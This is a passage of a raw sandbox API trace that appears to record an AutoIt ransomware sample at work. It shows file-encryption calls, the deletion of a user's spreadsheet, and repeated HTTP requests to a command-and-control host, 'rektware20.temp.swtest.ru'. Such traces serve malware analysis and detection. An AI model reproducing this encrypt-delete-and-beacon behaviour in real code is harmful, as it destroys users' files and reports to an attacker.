(in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.630] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.630] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.631] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.631] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.631] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.631] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.631] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.631] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.631] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.631] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.631] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.631] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.632] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.632] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.632] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.632] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.632] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.632] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.632] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.632] CryptReleaseContext (hProv=0x17aac48, dwFlags=0x0) returned 1 [0071.632] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.632] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.632] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.632] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.633] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.633] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.633] CloseHandle (hObject=0x3bc) returned 1 [0071.633] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.633] CloseHandle (hObject=0x2ac) returned 1 [0071.635] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.637] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.637] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", lpFilePart=0x0) returned 0x34 [0071.637] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\s duzxpfz99j2wo.xlsx")) returned 0x20 [0071.637] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c870 [0071.637] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\s DuzxPFz99j2WO.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\s duzxpfz99j2wo.xlsx")) returned 1 [0071.642] FindNextFileW (in: hFindFile=0x164c870, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.642] FindClose (in: hFindFile=0x164c870 | out: hFindFile=0x164c870) returned 1 [0071.642] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.642] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.642] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.643] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.643] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.643] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.643] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.643] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.643] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0071.643] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.643] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.644] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.644] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.644] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.644] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.644] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.645] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.645] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.645] CloseHandle (hObject=0x0) returned 0 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ILVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LVUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VUfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UfVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fVF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VF8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ew.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.647] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.647] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.647] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.647] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.647] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.647] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.647] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.647] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0071.647] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.647] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.647] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.648] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.648] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.648] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.648] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.649] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.649] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.649] CloseHandle (hObject=0x0) returned 0 [0071.649] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.649] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\tl4NILVUfVF8-7Ew.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0071.649] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.649] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.649] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.649] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.649] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.649] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.650] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.650] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.650] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.650] 